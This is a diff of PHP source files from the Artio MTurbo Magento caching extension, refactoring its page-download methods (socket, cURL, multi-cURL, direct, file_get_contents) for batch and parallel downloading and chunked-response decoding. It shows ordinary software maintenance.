+ (preg_match('/^var\/cache[\/]{0,}(.)*/', $path)) ||
504
  (preg_match('/^var\/report[\/]{0,}(.)*/', $path)) ||
505
  (preg_match('/^var\/session[\/]{0,}(.)*/', $path))) return FALSE;
506
 
507
+ /* path is correct */
508
  return TRUE;
509
 
510
  }
app/code/local/Artio/MTurbo/Model/Config/DynamicTransformer.php CHANGED
@@ -55,7 +55,7 @@ class Artio_MTurbo_Model_Config_DynamicTransformer extends Varien_Object
55
 
56
  private $keysDefaultBlocks = null;
57
  private $classBlocks = null;
58
-
59
 
60
  /**
61
  * Method dermines whether block is default.
@@ -109,31 +109,37 @@ class Artio_MTurbo_Model_Config_DynamicTransformer extends Varien_Object
109
 
110
 
111
  /**
112
- * Determines whether block is dynamic
 
 
 
 
 
113
  * @param Mage_Core_Block_Abstract $block
114
  * @return bool
115
  */
116
- public function getDynamic($block) {
117
-
118
- $classBlocks = $this->_getClassBlocks();
119
 
 
 
 
 
 
 
 
 
 
 
 
120
 
121
- $ajaxBlocks = Mage::getSingleton('mturbo/config')->getDynamicBlocksAsArray();
122
- // check
123
- foreach ($ajaxBlocks as $ajaxBlock) {
124
- if ($this->isDefaultBlock($ajaxBlock)) {
125
- if (@is_a($block, $classBlocks[$ajaxBlock])) return $ajaxBlock;
126
- } else {
127
- if ($ajaxBlock==$block->getNameInLayout())
128
- return $ajaxBlock;
129
- else {
130
- if (@is_a($block, $classBlocks[$ajaxBlock]))
131
- return $ajaxBlock;
132
- }
133
- }
134
- }
135
-
136
- return false;
137
  }
138
 
139
 
@@ -158,6 +164,8 @@ class Artio_MTurbo_Model_Config_DynamicTransformer extends Varien_Object
158
 
159
  $config->setDynamicBlocks(implode(",", array_unique($blocks)));
160
 
 
 
161
  }
162
 
163
 
@@ -181,7 +189,8 @@ class Artio_MTurbo_Model_Config_DynamicTransformer extends Varien_Object
181
  $diff = array_diff($dynamicBlocks, $this->keysDefaultBlocks);
182
  $string = implode(",", $diff);
183
  $result['userblocks'] = $string;
184
-
 
185
  /* return result */
186
  return $result;
187
 
55
 
56
  private $keysDefaultBlocks = null;
57
  private $classBlocks = null;
58
+
59
 
60
  /**
61
  * Method dermines whether block is default.
109
 
110
 
111
  /**
112
+ * Get the dynamic name of $block. If $block is configured
113
+ * as dynamic (by type or by layout name) then method returns
114
+ * block's name in layout else method returns false.
115
+ *
116
+ * If $block is not specified method returns false;
117
+ *
118
  * @param Mage_Core_Block_Abstract $block
119
  * @return bool
120
  */
121
+ public function getDynamicName($block) {
 
 
122
 
123
+ if (!$block)
124
+ return false;
125
+
126
+ $blockTypes = $this->_getClassBlocks();
127
+ $configBlocks = Mage::getSingleton('mturbo/config')->getDynamicBlocksAsArray();
128
+
129
+ $candidate = false;
130
+
131
+ foreach ($configBlocks as $configBlock)
132
+ {
133
+ $configBlockWithoutLayout = preg_replace('/^[^\$]*\$/', '', $configBlock);
134
 
135
+ if ($configBlockWithoutLayout == $block->getNameInLayout())
136
+ return $configBlock;
137
+
138
+ if (@is_a($block, $blockTypes[$configBlockWithoutLayout]))
139
+ $candidate = $block->getNameInLayout();
140
+ }
141
+
142
+ return $candidate;
 
 
 
 
 
 
 
 
143
  }
144
 
145
 
164
 
165
  $config->setDynamicBlocks(implode(",", array_unique($blocks)));
166
 
167
+ if (isset($formData['cartlink']))
168
+ $config->setDynamicCheckoutCartLink($formData['cartlink']);
169
  }
170
 
171
 
189
  $diff = array_diff($dynamicBlocks, $this->keysDefaultBlocks);
190
  $string = implode(",", $diff);
191
  $result['userblocks'] = $string;
192
+ $result['cartlink'] = $config->getDynamicCheckoutCartLink();
193
+
194
  /* return result */
195
  return $result;
196
 
app/code/local/Artio/MTurbo/Model/DownloadMethods/Abstract.php CHANGED
@@ -27,15 +27,17 @@
27
  */
28
  abstract class Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
-
31
  protected $errorMsg = '';
32
 
 
 
33
  /**
34
  * Retrieves name of download method
35
  */
36
  abstract function getName();
37
-
38
-
39
  /**
40
  * Determines whether download method is ready for using.
41
  * @return bool
@@ -45,12 +47,45 @@ abstract class Artio_MTurbo_Model_DownloadMethods_Abstract
45
  /**
46
  * Method download choosen page by url in argument and retrieves
47
  * its contents.
48
- * @param string $url
49
- * @return string contents of downloaded page
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
50
  */
51
- abstract function downloadPage($url);
52
-
53
-
 
 
 
 
 
 
 
 
 
 
54
  /**
55
  * Method retrieve error message.
56
  * Error message can appearance only after download any page or after call function isReady.
@@ -61,5 +96,4 @@ abstract class Artio_MTurbo_Model_DownloadMethods_Abstract
61
  return $this->errorMsg;
62
  }
63
 
64
- }
65
- ?>
27
  */
28
  abstract class Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
+
31
  protected $errorMsg = '';
32
 
33
+ protected $batchSize = 1;
34
+
35
  /**
36
  * Retrieves name of download method
37
  */
38
  abstract function getName();
39
+
40
+
41
  /**
42
  * Determines whether download method is ready for using.
43
  * @return bool
47
  /**
48
  * Method download choosen page by url in argument and retrieves
49
  * its contents.
50
+ * @param array $urls
51
+ * @return array contents of downloaded page (url => html)
52
+ */
53
+ abstract function downloadPages($urls);
54
+
55
+
56
+ /**
57
+ * Determine whethe method allows parallel downloading or not.
58
+ *
59
+ * @return bool TRUE method allows parallerl downloading, FALSE method disallows
60
+ */
61
+ public function allowParallelDownloading() {
62
+ return false;
63
+ }
64
+
65
+
66
+ /**
67
+ * Set the number of url downloaded at once. There is allowed to download
68
+ * between 1 to 100 pages.
69
+ *
70
+ * If $size greater than 100 there will be used only 100.
71
+ * If $size is not a number there will be used 1.
72
+ *
73
+ * @param int $size
74
+ * @return Artio_MTurbo_Model_DownloadMethods_Abstract
75
  */
76
+ public function setBatchSize($size) {
77
+
78
+ $size = (int) $size;
79
+
80
+ $size = max( 1, $size);
81
+ $size = min(100, $size);
82
+
83
+ $this->batchSize = $size;
84
+
85
+ return $this;
86
+ }
87
+
88
+
89
  /**
90
  * Method retrieve error message.
91
  * Error message can appearance only after download any page or after call function isReady.
96
  return $this->errorMsg;
97
  }
98
 
99
+ }
 
app/code/local/Artio/MTurbo/Model/DownloadMethods/Curl.php CHANGED
@@ -29,19 +29,20 @@ class Artio_MTurbo_Model_DownloadMethods_Curl extends Artio_MTurbo_Model_Downloa
29
  {
30
 
31
  /**
32
- * Retrieves name of download method
 
33
  */
34
  public function getName() {
35
- return Mage::helper('mturbo')->__('Using CURL PHP extensions');
36
  }
37
-
38
-
39
  /**
40
- * Determines whether download method is ready for using.
41
- * @return bool
42
  */
43
  public function isReady() {
44
- if (function_exists('curl_init')) {
45
  $this->errorMsg = '';
46
  return true;
47
  } else {
@@ -50,31 +51,57 @@ class Artio_MTurbo_Model_DownloadMethods_Curl extends Artio_MTurbo_Model_Downloa
50
  }
51
  }
52
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
53
  /**
54
- * Method download choosed page by url in argument and retrieves
55
- * its contents.
 
 
 
 
56
  * @param string $url
57
  * @return string contents of downloaded page
58
  */
59
- public function downloadPage($url) {
60
-
61
- if ($this->isReady()) {
62
-
63
- $ch = curl_init($url);
64
- curl_setopt($ch, CURLOPT_TIMEOUT, 100);
65
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
66
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
67
- $html = curl_exec($ch);
68
- if ($html===false)
69
- $this->errorMsg = curl_error($ch);
70
-
71
- curl_close($ch);
72
- return $html;
73
- }
74
-
75
- return '';
76
-
77
  }
78
 
79
- }
80
- ?>
29
  {
30
 
31
  /**
32
+ * (non-PHPdoc)
33
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::getName()
34
  */
35
  public function getName() {
36
+ return Mage::helper('mturbo')->__('Using cURL (single request)');
37
  }
38
+
39
+
40
  /**
41
+ * (non-PHPdoc)
42
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::isReady()
43
  */
44
  public function isReady() {
45
+ if (in_array('curl', get_loaded_extensions())) {
46
  $this->errorMsg = '';
47
  return true;
48
  } else {
51
  }
52
  }
53
 
54
+
55
+ /**
56
+ * (non-PHPdoc)
57
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::allowParallelDownloading()
58
+ */
59
+ public function allowParallelDownloading() {
60
+ return false;
61
+ }
62
+
63
+
64
+ /**
65
+ * (non-PHPdoc)
66
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::downloadPages()
67
+ */
68
+ public function downloadPages($urls) {
69
+
70
+ $res = array();
71
+
72
+ foreach ($urls as $url)
73
+ $res[$url] = $this->_downloadPage($url);
74
+
75
+ return $res;
76
+ }
77
+
78
+
79
  /**
80
+ * Download HTML of page specified by $url and return it.
81
+ *
82
+ * Method uses cURL extension (single request).
83
+ *
84
+ * If $url is empty or method is not ready then method returns empty string.
85
+ *
86
  * @param string $url
87
  * @return string contents of downloaded page
88
  */
89
+ protected function _downloadPage($url) {
90
+
91
+ if (!$url || !$this->isReady())
92
+ return '';
93
+
94
+ $ch = curl_init($url);
95
+ curl_setopt($ch, CURLOPT_TIMEOUT, 100);
96
+ curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
97
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
98
+ $html = curl_exec($ch);
99
+ if ($html===false)
100
+ $this->errorMsg = curl_error($ch);
101
+
102
+ curl_close($ch);
103
+
104
+ return $html;
 
 
105
  }
106
 
107
+ }
 
app/code/local/Artio/MTurbo/Model/DownloadMethods/Curlmulti.php ADDED
@@ -0,0 +1,169 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Artio
16
+ * @package Artio_MTurbo
17
+ * @copyright Copyright (c) 2013 Artio (http://www.artio.net)
18
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
19
+ */
20
+
21
+ /**
22
+ * Download method for parallel downloading by MultiCURL.
23
+ *
24
+ * @category Artio
25
+ * @package Artio_MTurbo
26
+ * @author Artio Magento Team (jiri.chmiel@artio.cz)
27
+ * @since 1.2.7
28
+ */
29
+ class Artio_MTurbo_Model_DownloadMethods_Curlmulti extends Artio_MTurbo_Model_DownloadMethods_Abstract
30
+ {
31
+
32
+
33
+ /**
34
+ * (non-PHPdoc)
35
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::getName()
36
+ */
37
+ public function getName() {
38
+ return Mage::helper('mturbo')->__('Using cURL (multi requests)');
39
+ }
40
+
41
+
42
+ /**
43
+ * (non-PHPdoc)
44
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::isReady()
45
+ */
46
+ public function isReady() {
47
+ if (in_array('curl', get_loaded_extensions())) {
48
+ $this->errorMsg = '';
49
+ return true;
50
+ } else {
51
+ $this->errorMsg = Mage::helper('mturbo')->__('CURL is not installed');
52
+ return false;
53
+ }
54
+ }
55
+
56
+
57
+ /**
58
+ * (non-PHPdoc)
59
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::allowParallelDownloading()
60
+ */
61
+ public function allowParallelDownloading() {
62
+ return true;
63
+ }
64
+
65
+ /**
66
+ * (non-PHPdoc)
67
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::downloadPages()
68
+ */
69
+ public function downloadPages($urls) {
70
+
71
+ $result = array();
72
+
73
+ $chunks = array_chunk($urls, $this->batchSize);
74
+
75
+ foreach ($chunks as $chunk)
76
+ $result = array_merge($result, $this->_downloadPages($chunk));
77
+
78
+ return $result;
79
+ }
80
+
81
+
82
+ /**
83
+ * Download HTML of pages specified by $urls and return them.
84
+ *
85
+ * Method uses cURL extension (multi request).
86
+ *
87
+ * @param string $url
88
+ * @return string contents of downloaded page
89
+ */
90
+ protected function _downloadPages($urls) {
91
+
92
+ // filter empty urls
93
+ $urls = array_filter($urls);
94
+
95
+ // if it is not ready return empty
96
+ // content for each url
97
+ if (!$this->isReady())
98
+ return array_flip($urls);
99
+
100
+ // if there is no url then there is
101
+ // not content
102
+ if(count($urls) <= 0)
103
+ return array();
104
+
105
+ // set default options
106
+ $options = array(
107
+ CURLOPT_HEADER => 0,
108
+ CURLOPT_RETURNTRANSFER => 1,
109
+ );
110
+
111
+ $handles = array();
112
+
113
+ // initialize culr for each url
114
+ foreach($urls as $url)
115
+ {
116
+ $ch{$url} = curl_init();
117
+ $options[CURLOPT_URL] = $url;
118
+ curl_setopt_array($ch{$url}, $options);
119
+ $handles[$url] = $ch{$url};
120
+ }
121
+
122
+ // initialize multi curl
123
+ $mh = curl_multi_init();
124
+
125
+ // add each handle to mutli curl
126
+ foreach($handles as $handle)
127
+ curl_multi_add_handle($mh, $handle);
128
+
129
+ $running_handles = null;
130
+
131
+ //execute the handles
132
+ do {
133
+ $status_cme = curl_multi_exec($mh, $running_handles);
134
+ } while ($status_cme == CURLM_CALL_MULTI_PERFORM);
135
+
136
+ while ($running_handles && $status_cme == CURLM_OK) {
137
+
138
+ if (curl_multi_select($mh) != -1) {
139
+ do {
140
+ $status_cme = curl_multi_exec($mh, $running_handles);
141
+ } while ($status_cme == CURLM_CALL_MULTI_PERFORM);
142
+ }
143
+
144
+ }
145
+
146
+ $res = array();
147
+
148
+ foreach($urls as $url)
149
+ {
150
+ $error = curl_error($handles[$url]);
151
+
152
+ if (!empty($error)) {
153
+ $res[$url] = ''; // empty content
154
+ } else {
155
+ $res[$url] = curl_multi_getcontent($handles[$url]); // html content
156
+ }
157
+
158
+ // close current handler
159
+ curl_multi_remove_handle($mh, $handles[$url] );
160
+ }
161
+
162
+ curl_multi_close($mh);
163
+
164
+ // return responses
165
+ return $res;
166
+
167
+ }
168
+
169
+ }
app/code/local/Artio/MTurbo/Model/DownloadMethods/Direct.php CHANGED
@@ -28,21 +28,29 @@
28
  class Artio_MTurbo_Model_DownloadMethods_Direct extends Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
 
 
 
 
 
 
 
31
  private $patchModel = null;
32
 
 
33
  /**
34
- * Retrieves name of download method
 
35
  */
36
- function getName() {
37
  return Mage::helper('mturbo')->__('Direct access (created new instance Magento)');
38
  }
39
 
40
 
41
  /**
42
- * Determines whether download method is ready for using.
43
- * @return bool
44
  */
45
- function isReady() {
46
 
47
  if (!isset($this->patchModel))
48
  $this->patchModel = Mage::getModel('mturbo/patch');
@@ -56,45 +64,73 @@ class Artio_MTurbo_Model_DownloadMethods_Direct extends Artio_MTurbo_Model_Downl
56
  }
57
 
58
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
59
 
60
  /**
61
- * Method download choosen page by url in argument and retrieves
62
- * its contents.
 
 
 
 
 
 
 
 
63
  * @param string $url
64
  * @return string contents of downloaded page
65
  */
66
- function downloadPage($url) {
67
 
68
- if ($this->isReady()) {
 
69
 
70
- /* remember Magento state and reset Magento */
71
- $prevURI = $_SERVER['REQUEST_URI'];
72
- $state = Mage::getStaticState();
73
- Mage::reset();
74
-
75
- /* start catching output */
76
- ob_start();
77
-
78
- /* run new Magento */
79
- $_SERVER['REQUEST_URI'] = preg_replace('/http(s){0,1}:\/\/[^\/]*/', '', $url);
80
- Mage::run();
81
-
82
- /* get output */
83
- $html = ob_get_contents();
84
-
85
- /* end catching output */
86
- ob_end_clean();
87
 
88
- /* restore Magento state */
89
- Mage::restoreState($state);
90
-
91
- return $html;
92
-
93
- }
94
-
95
- return '';
96
-
97
  }
98
 
99
- }
100
- ?>
28
  class Artio_MTurbo_Model_DownloadMethods_Direct extends Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
 
31
+
32
+ /**
33
+ * Model for patching Magento for used "direct" method.
34
+ *
35
+ * @var Mage_MTurbo_Model_Patch
36
+ */
37
  private $patchModel = null;
38
 
39
+
40
  /**
41
+ * (non-PHPdoc)
42
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::getName()
43
  */
44
+ public function getName() {
45
  return Mage::helper('mturbo')->__('Direct access (created new instance Magento)');
46
  }
47
 
48
 
49
  /**
50
+ * (non-PHPdoc)
51
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::isReady()
52
  */
53
+ public function isReady() {
54
 
55
  if (!isset($this->patchModel))
56
  $this->patchModel = Mage::getModel('mturbo/patch');
64
  }
65
 
66
  }
67
+
68
+
69
+ /**
70
+ * (non-PHPdoc)
71
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::allowParallelDownloading()
72
+ */
73
+ public function allowParallelDownloading() {
74
+ return false;
75
+ }
76
+
77
+
78
+ /**
79
+ * (non-PHPdoc)
80
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::downloadPages()
81
+ */
82
+ public function downloadPages($urls) {
83
+
84
+ $res = array();
85
+
86
+ foreach ($urls as $url)
87
+ $res[$url] = $this->_downloadPage($url);
88
+
89
+ return $res;
90
+ }
91
+
92
 
93
  /**
94
+ * Download HTML of page specified by $url and return it.
95
+ *
96
+ * Method uses "direct access". There is created a Magento
97
+ * instance with REQUEST_URI equals to $url. Magento is executed
98
+ * and its output is caught by ob_xxx functions.
99
+ *
100
+ * If $url is empty or method is not ready to execute (class MAge
101
+ * is not patched see Artio_MTurbo_Model_DownloadMethods_Direct::isReady)
102
+ * method returns empty string.
103
+ *
104
  * @param string $url
105
  * @return string contents of downloaded page
106
  */
107
+ protected function _downloadPage($url) {
108
 
109
+ if (!$url || !$this->isReady())
110
+ return '';
111
 
112
+ /* remember Magento state and reset Magento */
113
+ $prevURI = $_SERVER['REQUEST_URI'];
114
+ $state = Mage::getStaticState();
115
+ Mage::reset();
116
+
117
+ /* start catching output */
118
+ ob_start();
119
+
120
+ /* run new Magento */
121
+ $_SERVER['REQUEST_URI'] = preg_replace('/http(s){0,1}:\/\/[^\/]*/', '', $url);
122
+ Mage::run();
123
+
124
+ /* get output */
125
+ $html = ob_get_contents();
126
+
127
+ /* end catching output */
128
+ ob_end_clean();
129
 
130
+ /* restore Magento state */
131
+ Mage::restoreState($state);
132
+
133
+ return $html;
 
 
 
 
 
134
  }
135
 
136
+ }
 
app/code/local/Artio/MTurbo/Model/DownloadMethods/Filegetcontents.php CHANGED
@@ -28,19 +28,21 @@
28
  class Artio_MTurbo_Model_DownloadMethods_Filegetcontents extends Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
 
 
31
  /**
32
- * Retrieves name of download method
 
33
  */
34
- function getName() {
35
  return Mage::helper('mturbo')->__("Using function 'file_get_contents'");
36
  }
37
 
38
 
39
  /**
40
- * Determines whether download method is ready for using.
41
- * @return bool
42
  */
43
- function isReady() {
44
 
45
  if (ini_get('allow_url_fopen') == '1') {
46
  $this->errorMsg = '';
@@ -51,19 +53,46 @@ class Artio_MTurbo_Model_DownloadMethods_Filegetcontents extends Artio_MTurbo_Mo
51
  }
52
 
53
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
54
 
 
55
  /**
56
- * Method download choosen page by url in argument and retrieves
57
- * its contents.
 
 
 
 
 
 
58
  * @param string $url
59
  * @return string contents of downloaded page
60
  */
61
- function downloadPage($url) {
62
- if ($this->isReady())
63
- return file_get_contents($url);
64
-
65
- return '';
66
  }
67
 
68
- }
69
- ?>
28
  class Artio_MTurbo_Model_DownloadMethods_Filegetcontents extends Artio_MTurbo_Model_DownloadMethods_Abstract
29
  {
30
 
31
+
32
  /**
33
+ * (non-PHPdoc)
34
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::getName()
35
  */
36
+ public function getName() {
37
  return Mage::helper('mturbo')->__("Using function 'file_get_contents'");
38
  }
39
 
40
 
41
  /**
42
+ * (non-PHPdoc)
43
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::isReady()
44
  */
45
+ public function isReady() {
46
 
47
  if (ini_get('allow_url_fopen') == '1') {
48
  $this->errorMsg = '';
53
  }
54
 
55
  }
56
+
57
+
58
+ /**
59
+ * (non-PHPdoc)
60
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::allowParallelDownloading()
61
+ */
62
+ public function allowParallelDownloading() {
63
+ return false;
64
+ }
65
+
66
+
67
+ /**
68
+ * (non-PHPdoc)
69
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::downloadPages()
70
+ */
71
+ public function downloadPages($urls) {
72
+
73
+ $res = array();
74
+
75
+ foreach ($urls as $url)
76
+ $res[$url] = $this->_downloadPage($url);
77
+
78
+ return $res;
79
+ }
80
 
81
+
82
  /**
83
+ * Download HTML of page specified by $url and return it.
84
+ *
85
+ * Method uses function 'file_get_contents'.
86
+ *
87
+ * If $url is empty or method is not ready to execute (php ini 'allow_url_fopen'
88
+ * is set to 0 see Artio_MTurbo_Model_DownloadMethods_Filegetcontents::isReady)
89
+ * method returns empty string.
90
+ *
91
  * @param string $url
92
  * @return string contents of downloaded page
93
  */
94
+ protected function _downloadPage($url) {
95
+ return ($url && $this->isReady()) ? (string) file_get_contents($url) : '';
 
 
 
96
  }
97
 
98
+ }
 
app/code/local/Artio/MTurbo/Model/DownloadMethods/Socket.php CHANGED
@@ -29,29 +29,63 @@ class Artio_MTurbo_Model_DownloadMethods_Socket extends Artio_MTurbo_Model_Downl
29
  {
30
 
31
  /**
32
- * Retrieves name of download method
 
33
  */
34
- function getName() {
35
  return Mage::helper('mturbo')->__('Create connection over sockets');
36
  }
37
 
38
 
39
  /**
40
- * Determines whether download method is ready for using.
41
- * @return bool
42
  */
43
- function isReady() {
44
  $this->errorMsg = '';
45
  return true;
46
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
47
 
 
48
  /**
49
- * Method download choosen page by url in argument and retrieves
50
- * its contents.
 
 
 
 
 
51
  * @param string $url
52
  * @return string contents of downloaded page
53
  */
54
- function downloadPage($url) {
 
 
 
55
 
56
  /* output socket methods */
57
  $resultNumber=0;
@@ -70,7 +104,8 @@ class Artio_MTurbo_Model_DownloadMethods_Socket extends Artio_MTurbo_Model_Downl
70
  $this->errorMsg = $errorMessage;
71
  } else {
72
 
73
- $html = '';
 
74
 
75
  /* build request */
76
  $out = "GET $request HTTP/1.1\r\n";
@@ -82,27 +117,82 @@ class Artio_MTurbo_Model_DownloadMethods_Socket extends Artio_MTurbo_Model_Downl
82
  fwrite($fp, $out);
83
 
84
  /* get response */
85
- $header = "not yet";
86
- while (!feof($fp)) {
87
- $line=fgets($fp,128);
88
- if ($line=="\r\n" && $header=="not yet") {
89
- $header = "passed";
90
- }
91
-
92
- if ($header=="passed") {
93
- $html.=$line;
94
- }
 
 
 
95
  }
96
 
97
  fclose($fp);
 
 
 
 
 
98
 
99
- $first = strpos($html, '<!DOCTYPE');
100
- $last = strpos($html, '</html>')+7;
101
- return substr($html, $first, $last-$first);
102
-
103
  }
104
 
105
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
106
 
107
- }
108
- ?>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
  {
30
 
31
  /**
32
+ * (non-PHPdoc)
33
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::getName()
34
  */
35
+ public function getName() {
36
  return Mage::helper('mturbo')->__('Create connection over sockets');
37
  }
38
 
39
 
40
  /**
41
+ * (non-PHPdoc)
42
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::isReady()
43
  */
44
+ public function isReady() {
45
  $this->errorMsg = '';
46
  return true;
47
  }
48
+
49
+
50
+ /**
51
+ * (non-PHPdoc)
52
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::allowParallelDownloading()
53
+ */
54
+ public function allowParallelDownloading() {
55
+ return false;
56
+ }
57
+
58
+
59
+ /**
60
+ * (non-PHPdoc)
61
+ * @see Artio_MTurbo_Model_DownloadMethods_Abstract::downloadPages()
62
+ */
63
+ public function downloadPages($urls) {
64
+
65
+ $res = array();
66
+
67
+ foreach ($urls as $url)
68
+ $res[$url] = $this->_downloadPage($url);
69
+
70
+ return $res;
71
+ }
72
 
73
+
74
  /**
75
+ * Download HTML of page specified by $url and return it.
76
+ *
77
+ * Method intialize socket and send to server GET request to
78
+ * page. Since 1.2.7 there is supported also "chunked-encode" output.
79
+ *
80
+ * If $url is empty method returns empty string.
81
+ *
82
  * @param string $url
83
  * @return string contents of downloaded page
84
  */
85
+ protected function _downloadPage($url) {
86
+
87
+ if (!$url)
88
+ return '';
89
 
90
  /* output socket methods */
91
  $resultNumber=0;
104
  $this->errorMsg = $errorMessage;
105
  } else {
106
 
107
+ $header = '';
108
+ $body = '';
109
 
110
  /* build request */
111
  $out = "GET $request HTTP/1.1\r\n";
117
  fwrite($fp, $out);
118
 
119
  /* get response */
120
+ $wasHeader = false;
121
+ while (!feof($fp)) {
122
+
123
+ $line = fgets($fp,128);
124
+
125
+ if (!$wasHeader && $line=="\r\n")
126
+ $wasHeader = true;
127
+
128
+ if ($wasHeader)
129
+ $body .= $line;
130
+ else
131
+ $header .= $line;
132
+
133
  }
134
 
135
  fclose($fp);
136
+
137
+ $header = $this->_parseHTTPHeader($header);
138
+
139
+ if (isset($header['Transfer-Encoding']) && $header['Transfer-Encoding'] == 'chunked')
140
+ $body = $this->_decodeChunked($body);
141
 
142
+ return (string) $body;
 
 
 
143
  }
144
 
145
  }
146
+
147
+
148
+ /**
149
+ * Parse HTTP header.
150
+ *
151
+ * http://stackoverflow.com/questions/10793017/how-to-easily-decode-http-chunked-encoded-string-when-making-raw-http-request
152
+ *
153
+ * @param string $str
154
+ * @return array
155
+ */
156
+ protected function _parseHTTPHeader($str)
157
+ {
158
+ $lines = explode("\r\n", $str);
159
+ $head = array(array_shift($lines));
160
+ foreach ($lines as $line) {
161
 
162
+ $line = trim($line);
163
+
164
+ if (!$line)
165
+ continue;
166
+
167
+ list($key, $val) = explode(':', $line, 2);
168
+ if ($key == 'Set-Cookie') {
169
+ $head['Set-Cookie'][] = trim($val);
170
+ } else {
171
+ $head[$key] = trim($val);
172
+ }
173
+ }
174
+ return $head;
175
+ }
176
+
177
+
178
+ /**
179
+ * Decode chunked string.
180
+ *
181
+ * http://stackoverflow.com/questions/10793017/how-to-easily-decode-http-chunked-encoded-string-when-making-raw-http-request
182
+ *
183
+ * @param unknown_type $str
184
+ * @return string
185
+ */
186
+ protected function _decodeChunked($str) {
187
+
188
+ for ($res = ''; !empty($str); $str = trim($str)) {
189
+ $pos = strpos($str, "\r\n");
190
+ $len = hexdec(substr($str, 0, $pos));
191
+ $res.= substr($str, $pos + 2, $len);
192
+ $str = substr($str, $pos + 2 + $len);
193
+ }
194
+ return $res;
195
+ }
196
+
197
+
198
+ }
app/code/local/Artio/MTurbo/Model/DownloadMethodsFactory.php CHANGED
@@ -31,7 +31,7 @@ class Artio_MTurbo_Model_DownloadMethodsFactory
31
 
32
  /* constant for possible methods of downloading sites */
33
  private static $defaultMethod = 'socket';
34
- private static $possibleMethods = array('filegetcontents', 'socket', 'curl', 'direct');
35
 
36
  /**
37
  * Determines whether method exists.
31
 
32
  /* constant for possible methods of downloading sites */
33
  private static $defaultMethod = 'socket';
34
+ private static $possibleMethods = array('filegetcontents', 'socket', 'curl', 'curlmulti', 'direct');
35
 
36
  /**
37
  * Determines whether method exists.
app/code/local/Artio/MTurbo/Model/DownloadQueue.php ADDED
@@ -0,0 +1,285 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
